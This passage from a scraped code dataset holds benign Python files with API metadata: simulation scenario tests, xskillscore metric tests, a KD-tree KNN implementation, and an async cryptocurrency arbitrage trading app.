"recognition.actions.library.stdlib", "line_number": 74, "usage_type": "name"}, {"api_name": "recognition.actions.library._keyboard.KeyPress.from_space_delimited_string", "line_number": 98, "usage_type": "call"}, {"api_name": "recognition.actions.library._keyboard.KeyPress", "line_number": 98, "usage_type": "attribute"}, {"api_name": "recognition.actions.library._keyboard", "line_number": 98, "usage_type": "name"}, {"api_name": "recognition.actions.library._keyboard.KeyPress.from_space_delimited_string", "line_number": 99, "usage_type": "call"}, {"api_name": "recognition.actions.library._keyboard.KeyPress", "line_number": 99, "usage_type": "attribute"}, {"api_name": "recognition.actions.library._keyboard", "line_number": 99, "usage_type": "name"}, {"api_name": "recognition.actions.library._keyboard.KeyPress.from_space_delimited_string", "line_number": 100, "usage_type": "call"}, {"api_name": "recognition.actions.library._keyboard.KeyPress", "line_number": 100, "usage_type": "attribute"}, {"api_name": "recognition.actions.library._keyboard", "line_number": 100, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.move", "line_number": 113, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 113, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.click", "line_number": 115, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 115, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 116, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse.move", "line_number": 155, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 155, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.click", "line_number": 157, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 157, "usage_type": "name"}, {"api_name": "recognition.actions.library.window.active_window", "line_number": 160, "usage_type": "call"}, {"api_name": "recognition.actions.library.window", "line_number": 160, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.move", "line_number": 167, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 167, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.click", "line_number": 168, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 168, "usage_type": "name"}, {"api_name": "recognition.actions.library._keyboard.KeyPress.from_space_delimited_string", "line_number": 178, "usage_type": "call"}, {"api_name": "recognition.actions.library._keyboard.KeyPress", "line_number": 178, "usage_type": "attribute"}, {"api_name": "recognition.actions.library._keyboard", "line_number": 178, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 187, "usage_type": "call"}, {"api_name": "recognition.actions.library._keyboard.KeyPress.from_space_delimited_string", "line_number": 190, "usage_type": "call"}, {"api_name": "recognition.actions.library._keyboard.KeyPress", "line_number": 190, "usage_type": "attribute"}, {"api_name": "recognition.actions.library._keyboard", "line_number": 190, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 192, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 194, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 196, "usage_type": "call"}, {"api_name": "recognition.actions.library._keyboard.KeyPress.from_space_delimited_string", "line_number": 197, "usage_type": "call"}, {"api_name": "recognition.actions.library._keyboard.KeyPress", "line_number": 197, "usage_type": "attribute"}, {"api_name": "recognition.actions.library._keyboard", "line_number": 197, "usage_type": "name"}, {"api_name": "functools.cmp_to_key", "line_number": 200, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse.move", "line_number": 229, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 229, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.move", "line_number": 231, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 231, "usage_type": "name"}, {"api_name": "recognition.actions.library._mouse.click", "line_number": 262, "usage_type": "call"}, {"api_name": "recognition.actions.library._mouse", "line_number": 262, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 263, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 298, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 300, "usage_type": "call"}, {"api_name": "time.time", "line_number": 303, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 306, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 314, "usage_type": "call"}]} +{"seq_id": "24935366235", "text": "from functools import partial\n\nimport pandas as pd\nimport pytest\n\nfrom src.config import VERY_LATE\nfrom src.contact_models.get_contact_models import get_household_contact_model\nfrom src.contact_models.get_contact_models import get_other_non_recurrent_contact_model\nfrom src.contact_models.get_contact_models import get_work_non_recurrent_contact_model\nfrom src.policies.enacted_policies import HYGIENE_MULTIPLIER\nfrom src.policies.policy_tools import combine_dictionaries\nfrom src.policies.single_policy_functions import reduce_work_model\nfrom src.simulation.params_scenarios import _build_new_date_params\nfrom src.simulation.params_scenarios import (\n _change_piecewise_linear_parameter_to_fixed_value_after_date,\n)\nfrom src.simulation.scenario_simulation_inputs import (\n _get_policies_with_different_work_attend_multiplier_after_date,\n)\n\n\n@pytest.fixture\ndef params():\n params = pd.DataFrame()\n params[\"value\"] = [0.3, 0.6, 0.9]\n params[\"name\"] = [\"2021-01-01\", \"2021-04-01\", \"2021-04-30\"]\n params[\"subcategory\"] = \"subcategory\"\n params[\"category\"] = \"category\"\n params = params.set_index([\"category\", \"subcategory\", \"name\"])\n params.loc[(\"other\", \"other\", \"other\")] = 15\n return params\n\n\ndef test_build_new_date_params(params):\n res = _build_new_date_params(\n params.loc[(\"category\", \"subcategory\")],\n change_date=pd.Timestamp(\"2021-04-17\"),\n new_val=1.0,\n )\n expected_index = pd.DatetimeIndex(\n [\"2021-01-01\", \"2021-04-01\", \"2021-04-16\", \"2021-04-17\", \"2025-12-31\"],\n name=\"name\",\n )\n expected = pd.DataFrame(index=expected_index)\n expected[\"value\"] = [\n 0.3, # kept\n 0.6, # kept\n 0.7551724137931035, # interpolated value right before the change\n 1.0, # on the change date\n 1.0, # maintain value\n ]\n\n pd.testing.assert_frame_equal(res, expected)\n\n\ndef test_change_piecewise_linear_parameter_to_fixed_value_after_date(params):\n res = _change_piecewise_linear_parameter_to_fixed_value_after_date(\n params=params,\n loc=(\"category\", \"subcategory\"),\n change_date=\"2021-05-15\",\n new_val=0.3,\n )\n\n expected = params.copy(deep=True)\n expected.loc[(\"category\", \"subcategory\", \"2021-05-14\")] = 0.9\n expected.loc[(\"category\", \"subcategory\", \"2021-05-15\")] = 0.3\n expected.loc[(\"category\", \"subcategory\", \"2025-12-31\")] = 0.3\n\n pd.testing.assert_frame_equal(res, expected, check_like=True)\n\n\ndef test_get_policies_with_different_work_attend_multiplier_after_date():\n contact_models = combine_dictionaries(\n [\n get_household_contact_model(),\n get_work_non_recurrent_contact_model(),\n get_other_non_recurrent_contact_model(),\n ]\n )\n\n enacted_policies = {\n \"keep_work\": {\n \"affected_contact_model\": \"work_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-01-01\"),\n \"end\": pd.Timestamp(\"2021-02-28\"),\n \"policy\": 0.5,\n },\n \"cut_work\": {\n \"affected_contact_model\": \"work_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-03-01\"),\n \"end\": pd.Timestamp(\"2021-04-30\"),\n \"policy\": 0.5,\n },\n \"drop_work\": {\n \"affected_contact_model\": \"work_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-05-01\"),\n \"end\": pd.Timestamp(\"2021-05-31\"),\n \"policy\": 0.5,\n },\n \"other\": {\n \"affected_contact_model\": \"other_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-01-01\"),\n \"end\": pd.Timestamp(\"2021-05-31\"),\n \"policy\": 0.5,\n },\n }\n res = _get_policies_with_different_work_attend_multiplier_after_date(\n enacted_policies=enacted_policies,\n contact_models=contact_models,\n new_attend_multiplier=0.0,\n split_date=pd.Timestamp(\"2021-04-15\"),\n prefix=\"test\",\n )\n expected_work_policy = partial(\n reduce_work_model,\n attend_multiplier=0.0,\n hygiene_multiplier=HYGIENE_MULTIPLIER,\n is_recurrent=False,\n )\n expected = {\n \"keep_work\": {\n \"affected_contact_model\": \"work_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-01-01\"),\n \"end\": pd.Timestamp(\"2021-02-28\"),\n \"policy\": 0.5,\n },\n \"cut_work_first\": {\n \"affected_contact_model\": \"work_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-03-01\"),\n \"end\": pd.Timestamp(\"2021-04-14\"),\n \"policy\": 0.5,\n },\n \"other_first\": {\n \"affected_contact_model\": \"other_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-01-01\"),\n \"end\": pd.Timestamp(\"2021-04-14\"),\n \"policy\": 0.5,\n },\n \"other_second\": {\n \"affected_contact_model\": \"other_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-04-15\"),\n \"end\": pd.Timestamp(\"2021-05-31\"),\n \"policy\": 0.5,\n },\n \"test_work_non_recurrent\": {\n \"affected_contact_model\": \"work_non_recurrent\",\n \"start\": pd.Timestamp(\"2021-04-15\"),\n \"end\": VERY_LATE,\n \"policy\": expected_work_policy,\n },\n }\n\n # This is a custom comparison because the two partialed functions are not recognized\n # to be identical\n assert res.keys() == expected.keys()\n for pol_name, exp_pol in expected.items():\n res_pol = res[pol_name]\n assert res_pol.keys() == exp_pol.keys()\n if pol_name == \"test_work_non_recurrent\":\n for key, val in exp_pol.items():\n if key == \"policy\":\n assert res_pol[\"policy\"].func == val.func\n assert res_pol[\"policy\"].args == val.args\n assert res_pol[\"policy\"].keywords == val.keywords\n else:\n assert res_pol[key] == val\n else:\n assert exp_pol == res_pol\n", "repo_name": "covid-19-impact-lab/sid-germany", "sub_path": "tests/test_scenario_creation.py", "file_name": "test_scenario_creation.py", "file_ext": "py", "file_size_in_byte": 5952, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.DataFrame", "line_number": 24, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 22, "usage_type": "attribute"}, {"api_name": "src.simulation.params_scenarios._build_new_date_params", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.DatetimeIndex", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.testing.assert_frame_equal", "line_number": 53, "usage_type": "call"}, {"api_name": "pandas.testing", "line_number": 53, "usage_type": "attribute"}, {"api_name": "src.simulation.params_scenarios._change_piecewise_linear_parameter_to_fixed_value_after_date", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.testing.assert_frame_equal", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.testing", "line_number": 69, "usage_type": "attribute"}, {"api_name": "src.policies.policy_tools.combine_dictionaries", "line_number": 73, "usage_type": "call"}, {"api_name": "src.contact_models.get_contact_models.get_household_contact_model", "line_number": 75, "usage_type": "call"}, {"api_name": "src.contact_models.get_contact_models.get_work_non_recurrent_contact_model", "line_number": 76, "usage_type": "call"}, {"api_name": "src.contact_models.get_contact_models.get_other_non_recurrent_contact_model", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 84, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 90, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 91, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 96, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 97, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 102, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 103, "usage_type": "call"}, {"api_name": "src.simulation.scenario_simulation_inputs._get_policies_with_different_work_attend_multiplier_after_date", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 111, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 114, "usage_type": "call"}, {"api_name": "src.policies.single_policy_functions.reduce_work_model", "line_number": 115, "usage_type": "argument"}, {"api_name": "src.policies.enacted_policies.HYGIENE_MULTIPLIER", "line_number": 117, "usage_type": "name"}, {"api_name": "pandas.Timestamp", "line_number": 123, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 124, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 129, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 130, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 135, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 136, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 141, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 142, "usage_type": "call"}, {"api_name": "pandas.Timestamp", "line_number": 147, "usage_type": "call"}, {"api_name": "src.config.VERY_LATE", "line_number": 148, "usage_type": "name"}]} +{"seq_id": "19850077200", "text": "from typing import Callable, List\n\nimport numpy as np\nimport pytest\n\nfrom xskillscore.core.deterministic import (\n linslope,\n mae,\n mape,\n median_absolute_error,\n mse,\n pearson_r,\n pearson_r_p_value,\n r2,\n rmse,\n smape,\n spearman_r,\n spearman_r_p_value,\n)\n\n# Should only have masking issues when pulling in masked\n# grid cells over space.\nAXES = (\"time\", \"lat\", \"lon\", [\"lat\", \"lon\"], [\"time\", \"lat\", \"lon\"])\n\ndistance_metrics: List[Callable] = [mae, mape, median_absolute_error, mse, rmse, smape]\ncorrelation_metrics: List[Callable] = [\n linslope,\n pearson_r,\n pearson_r_p_value,\n r2,\n spearman_r,\n spearman_r_p_value,\n]\n\n\n@pytest.mark.parametrize(\"metric\", correlation_metrics + distance_metrics)\n@pytest.mark.parametrize(\"dim\", AXES)\ndef test_metrics_masked(a_fixed_nan, b_fixed_nan, dim, metric):\n \"\"\"Test for all distance-based metrics whether result of skipna does not\n contain any nans when applied along dim with nans.\"\"\"\n a = a_fixed_nan\n b = b_fixed_nan\n res_skipna = metric(a, b, dim, skipna=True)\n res_no_skipna = metric(a, b, dim, skipna=False)\n\n if \"lon\" in dim or \"lat\" in dim: # metric is applied along axis with nans\n # res_skipna shouldnt have nans\n if metric not in [spearman_r_p_value, pearson_r_p_value]:\n assert not np.isnan(res_skipna).any()\n # res_no_skipna should have different result then skipna\n assert (res_no_skipna != res_skipna).any()\n else: # metric is applied along axis without nans\n res_skipna_where_masked = res_skipna.isel(lon=[1, 2], lat=[1, 2])\n res_no_skipna_where_masked = res_no_skipna.isel(lon=[1, 2], lat=[1, 2])\n\n assert np.isnan(res_skipna_where_masked).all()\n assert np.isnan(res_no_skipna_where_masked).all()\n # res_skipna should have a few nans\n assert np.isnan(res_skipna).any()\n # res_no_skipna should have a few nans\n assert np.isnan(res_no_skipna).any()\n # # res_no_skipna should have different result then skipna\n assert (res_no_skipna != res_skipna).any()\n", "repo_name": "xarray-contrib/xskillscore", "sub_path": "xskillscore/tests/test_mask_skipna.py", "file_name": "test_mask_skipna.py", "file_ext": "py", "file_size_in_byte": 2101, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 202, "dataset": "github-code", "pt": "86", "api": [{"api_name": "typing.List", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 25, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.mae", "line_number": 25, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.mape", "line_number": 25, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.median_absolute_error", "line_number": 25, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.mse", "line_number": 25, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.rmse", "line_number": 25, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.smape", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 26, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.linslope", "line_number": 27, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.pearson_r", "line_number": 28, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.pearson_r_p_value", "line_number": 29, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.r2", "line_number": 30, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.spearman_r", "line_number": 31, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.spearman_r_p_value", "line_number": 32, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.spearman_r_p_value", "line_number": 48, "usage_type": "name"}, {"api_name": "xskillscore.core.deterministic.pearson_r_p_value", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.isnan", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.isnan", "line_number": 61, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 36, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 37, "usage_type": "attribute"}]} +{"seq_id": "748153227", "text": "import numpy as np\nfrom dataset import KnnData\nfrom collections import defaultdict\n\ndef tree():\n return defaultdict(tree)\n\nclass KNN(object):\n def __init__(self):\n self.dataset = KnnData()\n self.kdTree = tree()\n\n self.dims = self.dataset.dims\n self.nums = self.dataset.nums\n\n self.count = 0\n def init_kdtree(self):\n self.construct_kdtree(self.kdTree,self.dataset.data,self.dataset.label,0)\n\n def construct_kdtree(self,root,data,label,lf):\n \"\"\"构建KD树\"\"\"\n if len(data) == 0: # 递归终止条件\n root=None\n return None\n\n if len(data.shape) == 1: # 如果只有一个数据的时候，reshape成二维数据\n data.reshap(1,-1)\n label = (label,)\n\n median = np.median(data[:,lf],axis=0) # 找到中值\n \n # 找到中值，比中值小，比中值大的下标\n index_median = np.where(data[:,lf]==median)\n index_small = np.where(data[:,lf] < median)\n index_big = np.where(data[:,lf] > median)\n\n # 找到中值，比中值小，比中值大的数据\n data_median,label_median = data[index_median],label[index_median]\n data_small,label_small = data[index_small],label[index_small]\n data_big,label_big = data[index_big],label[index_big]\n # print(data_small.shape,data_big.shape)\n\n if len(index_median[0]) == 0: # 如果中值是两个值得平均，就使用比中值小的所有值中最大的那个作为中值\n this_index = np.argmax(data_small[:,lf])\n\n root['data'] = data[this_index]\n root['label'] = label[this_index]\n\n data_small = np.delete(data_small,this_index,axis=0)\n label_small = np.delete(label_small,this_index,axis=0)\n else: # 否则取中值中最中间的那个\n this_index = len(index_median[0])//2\n \n root['data'] = data_median[this_index]\n root['label'] = label_median[this_index]\n\n if len(data_big) == 0: # 如果big是空的，使用data_median更新big\n data_big = data_median[this_index+1:]\n label_big = label_median[this_index+1:]\n elif this_index == len(index_median)-1: # 如果big非空，data_median中big部分是空的，啥都不做\n pass\n else: # 如果两个都不是空的，就合并\n data_big = np.concatenate([data_median[this_index+1:],data_big],axis=0)\n label_big = np.concatenate([label_median[this_index+1:],label_big],axis=0)\n\n if len(data_small) == 0:\n data_small = data_median[:this_index]\n label_small = label_median[:this_index]\n elif this_index == 0:\n pass\n else:\n data_small = np.concatenate([data_small,data_median[:this_index]],axis=0)\n label_small = np.concatenate([label_small,label_median[:this_index]],axis=0)\n root['level'] = lf\n\n lf = (lf+1)%self.dims\n # print(data_small,data_big)\n self.count += 1\n # print(root['data'],self.count,data_small.shape,data_big.shape)\n self.construct_kdtree(root['left'],data_small,label_small,lf)\n self.construct_kdtree(root['right'],data_big,label_big,lf)\n\nif __name__ == '__main__':\n knn = KNN()\n knn.init_kdtree()", "repo_name": "MaXuSun/SML", "sub_path": "knn.py", "file_name": "knn.py", "file_ext": "py", "file_size_in_byte": 3558, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.defaultdict", "line_number": 6, "usage_type": "call"}, {"api_name": "dataset.KnnData", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 73, "usage_type": "call"}]} +{"seq_id": "19085630307", "text": "import asyncio\nfrom copy import deepcopy\nfrom datetime import timedelta\nimport logging.config\n\nimport aiopg.sa\nfrom async_generator import asynccontextmanager\nimport click\nimport sqlalchemy as sa\n\nfrom cryptotrader import const\nfrom cryptotrader import exception\nfrom cryptotrader import exchange as crypto_exchange\nfrom cryptotrader.common import make_schedule\nfrom cryptotrader.models import Order\nfrom cryptotrader.models import PostgresQueue\nfrom cryptotrader.strategy import Arbitrage\nfrom cryptotrader.strategy import Strategies\n\n\nasync def get_db(dsn: str, **engine_kwargs) -> aiopg.sa.Engine:\n engine = sa.create_engine(dsn)\n meta = sa.MetaData()\n order_table = sa.Table('orders', meta, autoload=True, autoload_with=engine)\n trade_history_table = sa.Table('trade_history', meta, autoload=True, autoload_with=engine)\n order_pairs = sa.Table('order_pairs', meta, autoload=True, autoload_with=engine)\n engine.dispose()\n\n async_engine = await aiopg.sa.create_engine(dsn=dsn, **engine_kwargs)\n\n async_engine.meta = meta\n async_engine.tables = {\n 'orders': order_table,\n 'trade_history': trade_history_table,\n 'order_pairs': order_pairs,\n }\n\n return async_engine\n\n\nclass App:\n # @todo #268:60m Move App class constants to some config extension.\n STRATEGIES = [Arbitrage]\n DELAY_AFTER_INTERVAL = 5.0 # in seconds\n\n def __init__(self, config: dict, loop=None) -> None:\n self.config = config\n self.loop = loop = loop or asyncio.get_event_loop()\n self.logger = logging.getLogger(self.__class__.__name__)\n self.is_running = asyncio.Event()\n self.db = None\n self.exchanges = None\n self.strategies = None\n self.scheduled_task = None\n\n # not good separated init after __init__ for client code\n # #455 will fix it.\n async def init(self):\n logging.config.dictConfig(self.config['logging'])\n self.db = await get_db(self.config['dsn'], loop=self.loop)\n self.exchanges = self._get_exchanges()\n self.strategies = self._get_strategies()\n\n def _get_exchanges(self):\n default_exchange_config = self.config['default_exchange']\n exchanges_config = deepcopy(self.config['exchanges'])\n strategy_config = self.config['strategies']['test']\n default_pairs = set(strategy_config['pairs'])\n return crypto_exchange.Exchanges(\n exchanges=[\n crypto_exchange.get_exchange_class(name)( # type: ignore\n session=crypto_exchange.get_session_class(name)(\n **exchanges_config[name].pop('transport')\n ),\n db=self.db,\n name=name,\n loop=self.loop,\n **{**default_exchange_config, **exchanges_config[name]},\n ) for name in exchanges_config\n ],\n default_pairs=default_pairs,\n loop=self.loop,\n )\n\n def _get_strategies(self):\n strategy_config = self.config['strategies']['test']\n if strategy_config['order_type'] not in const.ORDER_TYPES:\n raise exception.ConfigError(\n 'Strategies \"order_type\" config value'\n f' should be in {const.ORDER_TYPES}.'\n )\n default_pairs = set(strategy_config['pairs'])\n\n # @todo #414:30m - unpack Arbitrage settings.\n # Instead of them explicit forwarding.\n return Strategies(\n strategies=[\n Arbitrage(\n db=self.db,\n exchanges=self.exchanges,\n loop=self.loop,\n pairs=default_pairs,\n to_reverse=PostgresQueue(self.db, self.exchanges),\n window_direct_width=strategy_config['window_direct_width'],\n window_reversed_width=strategy_config['window_reversed_width'],\n max_spend_part=strategy_config['max_spend_part'],\n fetch_order_interval=strategy_config['fetch_order_interval'],\n order_timeout=strategy_config['order_timeout'],\n autoreverse_order_delta=timedelta(\n seconds=strategy_config['autoreverse_order_delta']\n ),\n order_type=strategy_config['order_type'],\n ),\n ],\n )\n\n # @todo #193 Create Orders class for orders batch processing\n async def _cancel_placed_orders(self):\n \"\"\"If db contains placed orders, try to cancel them on exchanges.\"\"\"\n self.logger.info(\n 'Found placed orders in db'\n ' and try to cancel them on their exchanges.'\n )\n table = self.db.tables['orders']\n\n async with self.db.acquire() as conn:\n orders = conn.execute(\n table.select().where(\n table.c.status == const.PLACED\n )\n )\n async for order in orders:\n try:\n exchange = self.exchanges.get(order.exchange)\n except exception.NoSuchExchangeError:\n self.logger.warning(\n f'Skip an order cancelling on {order.exchange.title},'\n f' because the exchange is not already supported.'\n f' Order uuid: {order.uuid}.'\n )\n continue\n\n try:\n success, _ = await exchange.cancel(\n Order.from_data(order, exchange)\n )\n except ValueError as e:\n self.logger.warning(\n f'Order with uuid={order.uuid} was not cancelled.'\n f' Exception occured: {e}.'\n )\n else:\n if success:\n await conn.execute(\n table.update().where(\n table.c.uuid == order.uuid\n ).values(status=const.CANCELLED)\n )\n\n async def _schedule(self):\n # strategies have guarantee,\n # that exchanges data is fresh\n await self.exchanges.schedule()\n await self.strategies.schedule()\n\n async def _warm_up(self):\n await self._cancel_placed_orders()\n await self._schedule()\n\n @asynccontextmanager\n async def context(self):\n # use `@asynccontextmanager` from third party\n # until python 3.7 coming.\n # https://docs.python.org/dev/whatsnew/3.7.html#contextlib\n # according to https://stackoverflow.com/a/48800772/6852582\n try:\n await self.run()\n yield\n finally:\n await self.stop()\n\n async def run(self):\n \"\"\"Run app in loop on a schedule.\"\"\"\n await self._warm_up()\n interval = self.config['app']['interval']\n scheduler = make_schedule(\n interval=interval,\n is_running=self.is_running,\n loop=self.loop,\n timeout=interval + self.DELAY_AFTER_INTERVAL,\n )\n scheduled_app = scheduler(self._schedule)\n self.is_running.set()\n self.scheduled_task = self.loop.create_task(scheduled_app())\n\n async def stop(self):\n self.is_running.clear()\n await self.exchanges.stop()\n await self.strategies.stop()\n self.db.close()\n await self.db.wait_closed()\n\n\n@click.group()\ndef execute_group():\n pass\n\n\n@execute_group.command()\n@click.pass_context\ndef execute(ctx):\n loop = asyncio.get_event_loop()\n app = App(config=ctx.obj['cfg'], loop=loop)\n loop.run_until_complete(app.init())\n loop.create_task(app.run())\n loop.run_forever()\n", "repo_name": "fidals/cryptotrader", "sub_path": "cryptotrader/commands/execute.py", "file_name": "execute.py", "file_ext": "py", "file_size_in_byte": 7790, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sqlalchemy.create_engine", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.MetaData", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.Table", "line_number": 26, "usage_type": "call"}, {"api_name": "aiopg.sa.sa.create_engine", "line_number": 29, "usage_type": "call"}, {"api_name": "aiopg.sa.sa", "line_number": 29, "usage_type": "attribute"}, {"api_name": "aiopg.sa", "line_number": 29, "usage_type": "name"}, {"api_name": "aiopg.sa.sa", "line_number": 21, "usage_type": "attribute"}, {"api_name": "aiopg.sa", "line_number": 21, "usage_type": "name"}, {"api_name": "cryptotrader.strategy.Arbitrage", "line_number": 43, "usage_type": "name"}, {"api_name": "asyncio.get_event_loop", "line_number": 48, "usage_type": "call"}, {"api_name": "logging.config.getLogger", "line_number": 49, "usage_type": "call"}, {"api_name": "logging.config", "line_number": 49, "usage_type": "name"}, {"api_name": "asyncio.Event", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.config.config.dictConfig", "line_number": 59, "usage_type": "call"}, {"api_name": "logging.config.config", "line_number": 59, "usage_type": "attribute"}, {"api_name": "logging.config", "line_number": 59, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 66, "usage_type": "call"}, {"api_name": "cryptotrader.exchange.Exchanges", "line_number": 69, "usage_type": "call"}, {"api_name": "cryptotrader.exchange", "line_number": 69, "usage_type": "name"}, {"api_name": "cryptotrader.exchange.get_exchange_class", "line_number": 71, "usage_type": "call"}, {"api_name": "cryptotrader.exchange", "line_number": 71, "usage_type": "name"}, {"api_name": "cryptotrader.exchange.get_session_class", "line_number": 72, "usage_type": "call"}, {"api_name": "cryptotrader.exchange", "line_number": 72, "usage_type": "name"}, {"api_name": "cryptotrader.const.ORDER_TYPES", "line_number": 87, "usage_type": "attribute"}, {"api_name": "cryptotrader.const", "line_number": 87, "usage_type": "name"}, {"api_name": "cryptotrader.exception.ConfigError", "line_number": 88, "usage_type": "call"}, {"api_name": "cryptotrader.exception", "line_number": 88, "usage_type": "name"}, {"api_name": "cryptotrader.const.ORDER_TYPES", "line_number": 90, "usage_type": "attribute"}, {"api_name": "cryptotrader.const", "line_number": 90, "usage_type": "name"}, {"api_name": "cryptotrader.strategy.Strategies", "line_number": 96, "usage_type": "call"}, {"api_name": "cryptotrader.strategy.Arbitrage", "line_number": 98, "usage_type": "call"}, {"api_name": "cryptotrader.models.PostgresQueue", "line_number": 103, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 109, "usage_type": "call"}, {"api_name": "cryptotrader.const.PLACED", "line_number": 129, "usage_type": "attribute"}, {"api_name": "cryptotrader.const", "line_number": 129, "usage_type": "name"}, {"api_name": "cryptotrader.exception.NoSuchExchangeError", "line_number": 135, "usage_type": "attribute"}, {"api_name": "cryptotrader.exception", "line_number": 135, "usage_type": "name"}, {"api_name": "cryptotrader.models.Order.from_data", "line_number": 145, "usage_type": "call"}, {"api_name": "cryptotrader.models.Order", "line_number": 145, "usage_type": "name"}, {"api_name": 